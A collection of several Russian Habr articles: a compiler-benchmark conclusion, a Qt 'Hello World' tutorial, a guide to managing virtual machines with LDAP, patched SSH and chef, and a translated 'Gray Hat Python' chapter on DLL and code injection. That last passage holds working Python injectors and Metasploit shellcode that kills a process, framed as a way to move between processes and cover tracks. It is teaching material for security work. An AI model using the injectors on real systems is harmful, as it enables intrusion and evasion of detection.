Чтобы как то подсластить компилятору эту горькую пилюлю, посмотрим что даст в этом случае автовекторизация:
icl -O2 distr.c -Fedistr\_compvec.exe
CPU time for command: 'distr\_compvec.exe'
real 24.020 sec
#### Заключение:
В этом маленьком исследовании я только пытался намекнуть, что анализ производительности довольно интересное и замысловатое занятие. Количество факторов, влияющее на скорость работы программы достаточно велико. Оценить вклад вносимый в производительность программы тем или иным фактором очень непросто, даже если у вас есть возможность измерять различные внутрипроцессорные события. В теории, для получения оптимального результата эврестический механизм компилятора должен анализировать массу каких-то закономерностей и это не включая сюда сложность доказательства правомерности той или иной оптимизации. При этом компилятор часто не имеет представления о данных, с которыми будет работать программа и о вычислительной системе, на которой эта программа будет выполняться. | https://habr.com/ru/post/161155/ | null | ru | null |
# «Hello, World!» на Qt
[Qt](http://www.qtsoftware.com/) — это кросс-платформенный инструментарий разработки ПО на языке программирования C++. Есть также «привязки» ко многим другим языкам программирования: Python — PyQt, Ruby — QtRuby, Java — Qt Jambi, PHP — PHP-Qt и другие.
Позволяет запускать написанное с его помощью ПО в большинстве современных операционных систем путём простой компиляции программы для каждой ОС без изменения исходного кода. Включает в себя все основные классы, которые могут потребоваться при разработке прикладного программного обеспечения, начиная от элементов графического интерфейса и заканчивая классами для работы с сетью, базами данных и XML. Qt является полностью объектно-ориентированным, легко расширяемым и поддерживающим технику компонентного программирования.
В этой статье я покажу как написать простую программу «Hello, World!» с использованием библиотеки Qt4
#### Среда разработки
Сначала определимся со средой разработки. Лично я для написания программа использую кросс платформенную IDE Code::Blocks (подробнее про работу в этой IDE с Qt4 можно почитать [тут](http://habrahabr.ru/sandbox/216/)). Так же есть плагины для работы с Qt в Eclipse. Коммерческая версия Qt под MS Windows может быть интегрирована в MSVS. Программы так же можно писать в любом текстовом редакторе, а потом компилировать их из командной строки.
Для наглядности, я покажу как компилировать программы, написанные на Qt, вручную.
#### Первая программа
Сначала в любом текстовом редакторе создадим файл и назовем его, например, main.cpp
Напишем в нем следующее:
> `1. #include
> 2. #include
> 3.
> 4. int main(int argc, char\* argv[]) {
> 5. QApplication app(argc, argv);
> 6. QDialog \*dialog = new QDialog;
> 7. QLabel \*label = new QLabel(dialog);
> 8. label->setText("Hello, World!");
> 9. dialog->show();
> 10. return app.exec();
> 11. }
> \* This source code was highlighted with Source Code Highlighter.`
В строках 1 и 2 мы подключили заголовочные файлы Qt в которых находятся основные классы.
В строке 4 мы объявили функцию main — главную функцию, с которой начинается выполнение любой программы. Она возвращает целое число (результат работы программы; 0 — если все в порядке) и принимает на вход две переменные — число параметров командной строки и массив, в котором они сохранены.
В строке 5 мы создаем объект приложения. Этому объекту мы передаем переменные командной строки.
В строке 6 мы создаем диалог — графическое окно прямоугольной формы, с заголовком и кнопками в верхнем правом углу. Создаем метку (строка 7). При создании метки мы передаем ее конструктору указатель на диалог, который становится ее родителем. При удалении родителя автоматически удаляются все его потомки, что очень удобно. Затем устанавливаем надпись метки путем вызова функции setText() (строка 8). Как видно из примера, для отображаемого текста можно использовать html-теги.
В строке 9 мы отображаем наше диалоговое окно с меткой на экране.
И, наконец в строке 10 мы запускаем цикл обработки событий операционной системы приложением. Результат работы объекта мы возвращаем как результат работы программы.
#### Компиляция
Теперь скомпилируем написанную программу.
Перейдем в каталог, куда мы сохранили наш файл main.cpp и выполним команду
`$ qmake -project`
При этом произойдет создание заготовки проекта Qt4, в который автоматически будут включены все файлы исходных кодов, лежащих в данной директории. В результате получится файл с именем как у текущей директории и расширением .pro. Он будет выглядеть следующим образом:
`TEMPLATE = app
TARGET =
DEPENDPATH += .
INCLUDEPATH += .
# Input
SOURCES += main.cpp`
Как видим файл с исходными текстами добавился автоматически. Выполним команду
`$ qmake`
В результате мы получим Makefile, который используем для того что бы скомпилировать программу, выполнив следующую команду:
`$ make`
Подождем пока процесс компиляции не закончится и запустим нашу первую программу. Она будет выглядеть примерно так:
#### Вторая программа
Что бы получить полный контроль над создаваемыми окнами и другими виджетами, необходимо создавать производные от них классы. Создадим производный класс MyDialog. В качестве родительского будем использовать класс QDialog. Описание нашего класса поместим в заголовочный файл mydialog.h:
> `1. #include
> 2. #include
> 3. #include
> 4. #include
> 5.
> 6. class MyDialog : public QDialog {
> 7. Q\_OBJECT
> 8. public:
> 9. MyDialog(QWidget \*parent = 0);
> 10. };
> \* This source code was highlighted with Source Code Highlighter.`
В первых четырех строках мы подключаем необходимые заголовочные файлы используемых графических элементов — диалога, кнопки, надписи и вертикального менеджера компоновки. Использовать такие крупные заголовочные файлы как , и др. в больших проектах не рекомендуется, так как это увеличивает время компиляции.
В шестой строке мы определили наш класс производным от QDialog.
На следующей строчке мы указали макрос Q\_OBJECT, который указывает предпроцессору Qt что данный класс будет использовать дополнительные возможности Qt, например, систему сигналов и слотов.
На строке 9 мы указываем конструктор нашего диалогового окна. У него только один входной параметр — указатель на родительский объект (0 если родителя нет).
Конструктор нашего класса мы определим в файле mydialog.cpp:
> `1. #include "mydialog.h"
> 2.
> 3. MyDialog::MyDialog(QWidget \*parent) : QDialog(parent) {
> 4. QVBoxLayout \*layout = new QVBoxLayout(this);
> 5. QLabel \*label = new QLabel(this);
> 6. label->setText("Hello, World!");
> 7. QPushButton \*button = new QPushButton(this);
> 8. button->setText("Close");
> 9. layout->addWidget(label);
> 10. layout->addWidget(button);
> 11. connect(button, SIGNAL(clicked()), this, SLOT(close()));
> 12. }
> \* This source code was highlighted with Source Code Highlighter.`
В строке 4 мы создаем менеджер компоновки, который будет автоматически отображать все добавленные в него виджеты вертикально. Создание надписи аналогично предыдущему примеру.
В строках 7 и 8 создаем кнопку и устанавливаем ее текст. На следующих двух строчках мы добавляем наши виджеты в менеджер компоновки что бы он их автоматически упорядочил.
В строке 11 мы подключаем сигнал нажатия clicked() кнопки button к слоту close() нашего диалогового окна. У каждого объекта Qt могут быть свои сигналы и слоты, которые можно подключать к сигналам и слотам других объектов и таким образом осуществлять коммуникацию между элементами программы.
Файл main.cpp примет следующий вид:
> `1. #include
> 2. #include "mydialog.h"
> 3.
> 4. int main(int argc, char\* argv[]) {
> 5. QApplication app(argc, argv);
> 6. MyDialog \*dialog = new MyDialog;
> 7. dialog->show();
> 8. return app.exec();
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
Пересоздаем проект командой
`$ qmake -project`
что бы новые файлы автоматически в него добавились и компилируем его. Вот так выглядит наша новая программа:
#### Третья программа
Если диалоговое окно содержит много графических элементов, то создавать такие окна довольно утомительно. Для упрощения этого процесса есть инструмент под названием Qt Designer. Запускаем его
`$ designer`
и выбираем создание диалогового окна без кнопок. Добавляем на него метку и кнопку, редактируем их текст. С помощью инструмента редактора сигналов и слотов (Signal/Slot Editor) подключаем сигнал нажатия clicked() кнопки button к слоту close() диалогового окна. Располагаем их вертикально с помощью менеджера компоновки. Сохраняем полученный файл под именем mydialog.ui. Позже он будет автоматически преобразован в заголовочный файл с именем ui\_mydialog.h.
Изменяем заголовочный файл нашего диалогового окна mydialog.h следующим образом:
> `1. #include "ui\_mydialog.h"
> 2.
> 3. class MyDialog : public QDialog, public Ui::Dialog {
> 4. Q\_OBJECT
> 5. public:
> 6. MyDialog(QWidget \*parent = 0);
> 7. };
> \* This source code was highlighted with Source Code Highlighter.`
Все заголовочные файлы в нем заменяются на «ui\_mydialog.h», а наследование становится множественным.
Конструктор значительно упрощается:
> `1. #include "mydialog.h"
> 2.
> 3. MyDialog::MyDialog(QWidget \*parent) : QDialog(parent) {
> 4. setupUi(this);
> 5. }
> \* This source code was highlighted with Source Code Highlighter.`
Функция setupUi определена в заголовочном файле ui\_mydialog.h и берет на себя всю рутину по созданию формы
Файл main.cpp по сравнению со второй программой не изменился.
Пересоздаем проект что бы новые файлы автоматически в него добавились и компилируем его.
#### Заключение
В этой статье было показаны базовые принципы программирования на С++ с использованием Qt4. Если хабрасообществу понравится данная публикация, то я продолжу цикл публикаций об использовании Qt4. | https://habr.com/ru/post/50765/ | null | ru | null |
# Как управлять виртуальными машинами, если их много
После того, как у нас вышли в релиз еще несколько проектов, а количество тикетов в трекере на тему «создать пользователя, развернуть виртуалку, дать доступ» превысило все мыслимые пределы, назрела необходимость что-то менять.
**Задача:** организовать рабочее окружение linux для нескольких команд разработчиков и тестировщиков. Общее количество виртуальных машин — три-четыре десятка.
Сразу оговорюсь, что статья — это не детальное пошаговое руководство “как правильно и как надо”, а лишь описание практического опыта и краткий обзор используемых нами инструментов. Подразумевается, что читатель будет способен сам решить возникающие проблемы, например установка необходимых зависимостей, пакетов, настройка сети и тд. Мы сознательно не прилагаем скриншоты и подробные конфигурационные файлы и оставляем читателю возможность самостоятельно исследовать перечисленные инструменты.
**Необходимо:**
* автоматизировать развертывание виртуальных машин по определенным шаблонам, уменьшить время развертывания,
* упростить аутентификацию пользователей,
* обеспечить быструю настройку сервисов на каждой виртуальной машине,
* предоставить администратору единый центр управления всем хозяйством и избавить его от рутинной правки множества однотипных конфигурационных файлов,
* обеспечить real-time мониторинг состояния системы, как в целом, так и по каждой виртуальной машине.
**Требования к инструментам:** open-source, простота настройки и использования, веб-интерфейс, либо мощный пакет утилит для настройки.
**Используемые решения:** ubuntu 10.04 и другие версии, proxmox openvz, chef, openldap, GIT, zabbix
#### 1. Аутентификация.
Разворачивание openldap. С недавних пор пакет openldap перешел на схему динамического конфигурирования, поэтому вся настройка осуществляется с помощью специальных ldif файлов. Не знаю, хорошо это или плохо, это непривычно и не всегда тривиально как минимум. Для примера можно использовать [вот эту статью](https://help.ubuntu.com/10.04/serverguide/C/openldap-server.html). По этой же статье при необходимости можно настроить и репликацию LDAP.
Фронтенд LDAP мы не настраивали, за нас это потом сделала [веб-панель управления LAM](http://www.ldap-account-manager.org/) (v3.4.0). Мы так и не нашли более удобной панели для LDAP. GOSA обладает чуть большим функционалом, но значительно сложней в настройке, остальные продукты откровенно не дотягивают по внешнему виду и функционалу.
Так как мы хотели максимально упростить разработчикам и тестировщикам процедуру аутентификации, было решено собрать у них кроме паролей также и публичные ключи и положить их в LDAP.
Данная схема позволит нам осуществить аутентификацию без паролей, с помощью SSH ключей. Статья о ключах и общей настройке SSH [тут](http://wiki.altlug.ru/%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_ssh_%D0%B2_Debian), только вместо файла authorized\_keys мы будем использовать информацию из LDAP.
Для этого необходимо собрать openssh с патчем LPK (о нем ниже) и подключить схему openssh-lpk\_openldap.schema в LDAP
`root:/#cat lpk.ldif
dn: cn=openssh-lpk,cn=schema,cn=config
objectClass: olcSchemaConfig
cn: openssh-lpk
olcAttributeTypes: {0}( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey' DES
C 'MANDATORY: OpenSSH Public key' EQUALITY octetStringMatch SYNTAX 1.3.6.1.4.
1.1466.115.121.1.40 )
olcObjectClasses: {0}( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' DESC
'MANDATORY: OpenSSH LPK objectclass' SUP top AUXILIARY MAY ( sshPublicKey $
uid ) )
root:/#ldapadd -Y EXTERNAL -H ldapi:/// -f lpk.ldif`
Настройка веб-интерфейса LAM тривиальна и не требует особого внимания. Панель после установки способна сама сконфигурировать LDAP фронтенд. В панели в настройках необходимо также подключить модуль SSH Public Key(ldapPublicKey).
#### 2. SSH
Из репозитория он не умеет брать публичные ключи из LDAP, мы его научим.
Почитать о технологии LPK и взять патч [можно тут](http://code.google.com/p/openssh-lpk/source/browse/#svn%2Ftrunk%2Fpatch%2Fcontrib)
`root:/#apt-get source ssh
root:/#cd openssh-5.3p1
root:/#patch -p1 < contrib-openssh-lpk-5.4p1-0.3.13.patch`
Все, что реджектнулось, а у нас получилось два файла и две строки там, патчим вручную.
В debian/rules необходимо в двух местах к ../configure добавить
`--with-libs="-lldap" --with-ldflags="-L/usr/lib" --with-cppflags="-I/usr/include -DWITH_LDAP_PUBKEY"`
Для того, чтобы этот пакет успешно встал на рабочую систему и не конфликтовал с рабочей версией из репозитория, есть несколько путей, например:
* повысить версию пакета
* поправить debian/control и debian/rules, назвать пакет каким-либо другим именем и попытаться это все собрать.
Самый простой способ — повысить версию. Пакет встанет без проблем, но в будущем будут проблемы с обновлением. Так как наша инфрастуктура закрыта снаружи, срок жизни виртуальных машин сравнительно небольшой, проблемы безопасности в этом окружении для нас не особо важны, то мы выбрали именно этот путь. Для production окружения этот способ, конечно, не подходит.
Вносим изменения в changelog и собираем пакет
`root:/#dch -i
root:/#dpkg-buildpackage -b`
На выходе мы получим некий ‘openssh.deb’, который способен запросить у LDAP ‘sshPublicKey’ при выполнении некоторых условий.
Запись user в LDAP
* с objectclass ‘ldapPublicKey'
* c objectclass 'posixAccount'
* с заполненным атрибутом 'sshPublicKey'
Запись group в LDAP
* c objectclass 'posixGroup'
* c атрибутом 'cn' и именем группы в нем
* с атрибутом 'memberUid', где будут перечислены uid, входящие в эту группу.
Необходимые настройки в /etc/ssh/sshd\_config
`UseLPK yes
LpkServers ldap://10.10.10.10/ # адрес сервера LDAP
LpkUserDN ou=People,dc=office # где искать пользователей
LpkGroupDN ou=group,dc=office # где искать группы
LpkBindDN cn=admin,dc=office # под каким пользователем биндиться, если не анонимно
LpkBindPw secret # пароль
LpkServerGroup developers # каким группам разрешено заходить на этот сервер
LpkForceTLS no # Если у вас настроен TLS, то включаем.
LpkSearchTimelimit 3 # Лимиты по поиску и подключению в секундах
LpkBindTimelimit 3 #
LpkPubKeyAttr sshPublicKey # что забирать из LDAP`
В зависимости от настроек LDAP тут можно просто закомментировать ненужные параметры.
#### 3. Развертывание конфигураций.
Так как весь парк виртуальных машин у нас фактически однотипен, мы использовали систему деплоя конфигурации [chef из репозитория opscode](http://wiki.opscode.com/display/chef/Home).
Система очень мощная и гибкая, позволяет автоматизировать установку практически всего, что можно только придумать.
Пример простого рецепта для конфигурирования Postgres+Postgis
`# Cookbook Name:: postgres
# Recipe:: default
package "postgresql" do
action:install
options "--force-yes"
end
package "postgresql-contrib" do
action:install
options "--force-yes"
end
package "postgis" do
action:install
options "--force-yes"
end
package "postgresql-9.0-postgis" do
action:install
options "--force-yes"
end
script "install_postgis" do
interpreter "bash"
user "postgres"
cwd "/tmp"
code <<-EOH
createdb template_postgis
createlang plpgsql template_postgis
psql -d template_postgis -f /usr/share/postgresql/9.0/contrib/_int.sql
psql -d template_postgis -f /usr/share/postgresql/9.0/contrib/postgis-1.5/postgis.sql
psql -d template_postgis -f /usr/share/postgresql/9.0/contrib/postgis-1.5/spatial_ref_sys.sql
createuser -s pgsql
EOH
end`
Настройка LDAP на клиенте. Здесь мы просто раскладываем на клиентскую машину заранее подготовленные файлы с настройками, чтобы клиент мог авторизоваться в нашем LDAP.
`# Cookbook Name:: openldap
# Recipe:: auth
package "nscd" do
action :upgrade
end
package "libnss-ldap" do
action :upgrade
end
package "libpam-ldap" do
action :upgrade
end
service "nscd" do
supports :status => true, :restart => true, :reload => true
action [ :restart ]
end
service "ssh" do
supports :status => true, :restart => true, :reload => true
action [ :restart ]
end
script "prepare dirs" do
interpreter "bash"
user "root"
cwd "/tmp"
code <<-EOH
mkdir -p /etc/ldap
EOH
end
cookbook_file "/etc/libnss-ldap.conf" do
source "libnss-ldap.conf"
mode 0644
owner "root"
group "root"
end
cookbook_file "/etc/pam_ldap.conf" do
source "pam_ldap.conf"
mode 0644
owner "root"
group "root"
end
cookbook_file "/etc/nsswitch.conf" do
source "nsswitch.conf"
mode 0644
owner "root"
group "root"
notifies :restart, resources(:service => "nscd"), :immediately
end
%w{ account auth password session }.each do |pam|
cookbook_file "/etc/pam.d/common-#{pam}" do
source "common-#{pam}"
mode 0644
owner "root"
group "root"
notifies :restart, resources(:service => "ssh"), :delayed
end
end`
С помощью chef на каждую виртуалку ставим также уже сконфигурированый zabbix-agentd и к нему [набор скриптов ZTC](http://greenmice.info/ru/node/164). После старта виртуалки zabbix по autodiscovery добавляет ее в пул и сразу присоединяет необходимые шаблоны. Панель управления zabbix у нас тоже прицеплена к LDAP. Единственное, что пришлось тут сделать — скрипт автоматической синхронизации LDAP и пользователей zabbix, мониторинг не умеет создавать пользователей сам.
Так как публичные ssh ключи у нас теперь хранятся в централизованном хранилище, то данная схема позволила также безболезненно и прозрачно для пользователей интегрировать в процесс GIT.
Панель управления Proxmox, заранее сконфигурированные шаблоны для openvz, LVM storage, позволили нам максимально упростить и ускорить развертывание новых виртуальных машин. Мы контролируем все выделяемые ресурсы, под нагрузкой все ведет себя предсказуемо и стабильно. Стоимость внедрения и обслуживания такой виртуальной машины крайне низка по сравнению с другими системами виртуализации.
Напомню, что это тестовое и девелоперское окружение, полностью закрытое для внешнего мира, без критичных данных и без необходимости бекапов. Поэтому в этой схеме упущены многие очень важные моменты в плане безопасности и отказоустойчивости. Для production в данной схеме нужно будет думать о сертификатах, TLS, SSL, password policy, о различных механизмах защиты PAM, о sudo, а также о правилах фаервола и групповых политиках.
Еще немного ссылок:
[LDAP для интернет-проекта](http://habrahabr.ru/blogs/sysadm/52978/)
[Chef или как управлять тысячей серверов](http://habrahabr.ru/company/scalaxy/blog/87302/)
[Виртуализация Linux с помощью OpenVZ](http://habrahabr.ru/blogs/linux/30198/)
[Универсальная система мониторинга Zabbix — введение](http://habrahabr.ru/blogs/sysadm/73338/) | https://habr.com/ru/post/120216/ | null | ru | null |
# Gray Hat Python — DLL и Code Injection
#### **Intro**
Порой, когда вы реверсите или атакуете программу, полезно иметь возможность загрузить и выполнить свой код в контексте исследуемого процесса. Крадете ли вы хэши паролей или получаете доступ к удаленному рабочему столу целевой системы, методы внедрения кода и dll-библиотек предоставляют мощные возможности. Мы создадим несколько простых утилит на Питоне, которые позволят вам использовать оба метода. Эти методы должны входить в арсенал каждого разработчика программ, эксплойтов, шелл-кодов и пентестеров. Мы будем использовать внедрение DLL (DLL injection) для запуска всплывающего окна внутри другого процесса. Так же мы будем использовать внедрение кода (code injection), чтобы протестировать шелл-код, разработанный для уничтожения какого-либо процесса основываясь на его PID. Под конец главы мы создадим и скомпилируем Trojan’a (с функционалом backdoor’a) полностью написанного на Python. В большей степени он будет опираться на внедрении кода и использовании некоторых других скрытых тактик, которые должен использовать каждый хороший бэкдор. Давайте начнем с рассмотрения темы создания удаленных потоков, которые являются основой для обоих методов внедрения.
#### **7.1 Создание удаленных потоков**
Есть некоторые основные различия между внедрением DLL и внедрением кода, однако, оба метода достигаются одним и тем же образом – с помощью создания удаленного потока. Удаленный поток создается с помощью входящей в состав Win32 API функции CreateRemoteThread() **[1]**, которая экспортируется из *kernel32.dll*. Она имеет следующий прототип:
```
HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
```
Не пугайтесь, у нее много параметров, но все они интуитивно понятны. Первый параметр, hProcess, должен быть вам знаком. Это дескриптор процесса, в котором мы запускаем поток. Параметр lpThreadAttributes просто устанавливает дескриптор безопасности для вновь созданного потока и указывает, может ли дескриптор потока наследоваться дочерними процессами. Мы установим его значение в NULL, что даст ненаследуемый дескриптор потока и дескриптор безопасности по умолчанию. Параметр dwStackSize просто задает размер стека создаваемого потока. Мы установим его в нуль, что даст размер по умолчанию, который уже используется процессом. Следующий параметр lpStartAddress является одним из наиболее важных. Он указывает на то, где в памяти поток начнет свое выполнение. Крайне важно правильно установить этот адрес так, чтобы код, необходимый для облегчения внедрения – выполнился. Следующий параметр, lpParametr, почти настолько же важный, как и предыдущий. Он позволяет предоставить указатель на переменную, которая передается в функцию потока указанную в lpStartAddress. Вначале это может выглядеть запутанно, но очень скоро вы увидите, как важен этот параметр для выполнения внедрения DLL. Параметр dwCreationFlags определяет, как будет запущен поток. Мы будем всегда устанавливать его в нуль, что значит, что поток будет выполнен немедленно, сразу после создания. Не стесняйтесь и посмотрите в документацию MSDN, чтобы узнать другие значения, которые поддерживает параметр dwCreationFlags. Параметр lpThreadId является последним. Он заполняется идентификатором (ID) вновь созданного потока.
Теперь, когда вы понимаете основной вызов функции, ответственной за создание внедряемого кода, мы исследуем вопрос ее использования для внедрения DLL в удаленный процесс, а затем постепенно перейдем к внедрению шелл-кода. Процедура для создания удаленного потока, и в конечном счете выполнения нашего кода, немного отличается для каждого конкретного случая (внедрения DLL и шелл-кода), поэтому мы продемонстрируем ее использование дважды, чтобы покрыть все различия.
***7.1.1 Внедрение DLL***
Внедрение DLL в течение достаточно продолжительного времени использовалось как для добра, так и для зла. Куда бы вы ни посмотрели – везде увидите внедрение DLL. От необычных расширений оболочки Windows, до вредоносных программ ворующих вашу банковскую информацию. DLL внедрение всюду. Даже продукты безопасности внедряют свои DLL-библиотеки для отслеживания процессов проявляющих вредоносную активность. Весь цимес в использовании внедрения DLL заключается в том, что мы можем скомпилировать бинарный файл, загрузить его в процесс и выполнить его как часть процесса. Это очень полезно, например, чтобы обойти программные брандмауэры, которые позволяют только определенным приложениям делать исходящие соединения. Мы немного исследуем эту тему при написании на Питоне DLL-инжектора, который позволит нам внедрить DLL-библиотеку в любой процесс, который мы выберем.
Для загрузки DLL-библиотек в память процесса Windows, нужно использовать функцию LoadLibrary(), которая экспортируется из *kernel32.dll*. Она имеет следующий прототип:
```
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
```
Параметр lpFileName это просто пусть к DLL, которую вы хотите загрузить. Нам нужно заставить удаленный процесс вызвать LoadLibraryA с указателем на строку, содержащую путь к загружаемой DLL. Первый шаг заключается в том, чтобы узнать, где расположена функция LoadLibraryA. Затем записать имя загружаемой DLL. Когда мы вызовем CreateRemoteThread(), мы укажем в параметре lpStartAddress адрес размещения LoadLibraryA, а параметр в lpParameter поместим адрес размещения «пути (имени) к DLL». Когда CreateRemoteThread() начнет выполняться, она вызовет LoadLibraryA, как если бы удаленный процесс сделал запрос на загрузку DLL сам.
**ПРИМЕЧАНИЕ:** *DLL для тестирования внедрения находится в архиве с исходниками для этой книги, который вы можете загрузить по адресу [www.nostarch.com/ghpython.htm](http://www.nostarch.com/ghpython.htm). Исходный код DLL так же находится внутри.*
Давайте перейдем к коду. Откройте новый файл Python, назовите его *dll\_injector.py* и введите следующий код.
**dll\_injector.py**
```
import sys
from ctypes import *
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
(#1): # Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)
(#2): # Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))
(#3): # We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
(#4): # Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,
None,
0,
h_loadlib,
arg_address,
0,
byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread_id.value
```
На первом шаге **(#1)** нужно выделить достаточное количество памяти для сохранения пути (path) внедряемой DLL, после чего записать этот путь в только что выделенную память **(#2)**. Затем нам нужно найти адрес размещения функции LoadLibraryA **(#3)**, чтобы передать его в вызов функции CreateRemoteThread() **(#4)**. Как только созданный поток начнет выполняться наша внедряемая DLL-библиотека должна загрузиться в атакуемый процесс, после чего вы увидите всплывающее диалоговое окно, которое указывает на то, что внедрение прошло успешно. Используйте скрипт, как показано ниже:
```
./dll_injector
```
Теперь у нас есть хороший пример того, как можно осуществить внедрение DLL. И хотя внедренная DLL не несет полезной нагрузки, нам важно понимать саму технику внедрения. Теперь давайте перейдем к внедрению кода!
***7.1.2 Внедрение кода***
Давайте перейдем к чему-то более коварному. Внедрение кода позволяет нам вставлять сырой шелл-код в работающий процесс с его немедленным выполнением в памяти и при этом не оставляя следов на диске. This is also what allows attackers to migrate their shell connection from one process to another, post-exploitation.
Мы возьмем простой кусок шелл-кода, который просто завершает процесс с определенным PID. Это позволит вам перейти в удаленный процесс и убить процесс из которого вы первоначально выполнялись, что поможет вам замести следы.
Это будет ключевой особенностью Трояна, которого мы создадим в конце. Также, чтобы удовлетворить ваши потребности, мы покажем вам, как можно безопасно заменить куски шелл-кода, так чтобы вы могли сделать его немного более модульным.
Для получения шелл-кода убивающего процессы мы посетим домашнюю страницу проекта Metasploit и воспользуемся их удобным генератором шелл-кодов. Если вы не пользовались им раньше – обратитесь к адресу *[metasploit.com/shellcode](http://metasploit.com/shellcode/)* и по играйтесь с ним. В нашем случае я использовал генератор для создания шелл-кода «Windows Execute Command», который показан в Листинге 7-1. Там же показаны и соответствующие настройки:
**Листинг 7-1:** Шелл-код убийца процессов, сгенерированный с помощью online-генератора проекта Metasploit.
```
/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */
unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41"
"\x41\x41\x41\x41\x41\x41\x41\x00";
```
Теперь, когда у нас есть шелл-код, пришло время вернуться к программированию и продемонстрировать работу внедряемого кода. Откройте новый файл Python, назовите его *code\_injector.py* и введите следующий код:
**code\_injector.py**
```
import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py "
sys.exit(0)
#/\* win32\_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com \*/
shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
(#1): padding = 4 - (len( pid\_to\_kill ))
replace\_value = pid\_to\_kill + ( "\x00" \* padding )
replace\_string= "\x41" \* 4
shellcode = shellcode.replace( replace\_string, replace\_value )
code\_size = len(shellcode)
# Get a handle to the process we are injecting into.
h\_process = kernel32.OpenProcess( PROCESS\_ALL\_ACCESS, False, int(pid) )
if not h\_process:
print "[\*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the shellcode
arg\_address = kernel32.VirtualAllocEx(h\_process, 0, code\_size, VIRTUAL\_MEM, PAGE\_EXECUTE\_READWRITE)
# Write out the shellcode
written = c\_int(0)
kernel32.WriteProcessMemory(h\_process, arg\_address, shellcode, code\_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread\_id = c\_ulong(0)
(#2): if not kernel32.CreateRemoteThread(h\_process,None,0,arg\_address,None,
0,byref(thread\_id)):
print "[\*] Failed to inject process-killing shellcode. Exiting."
sys.exit(0)
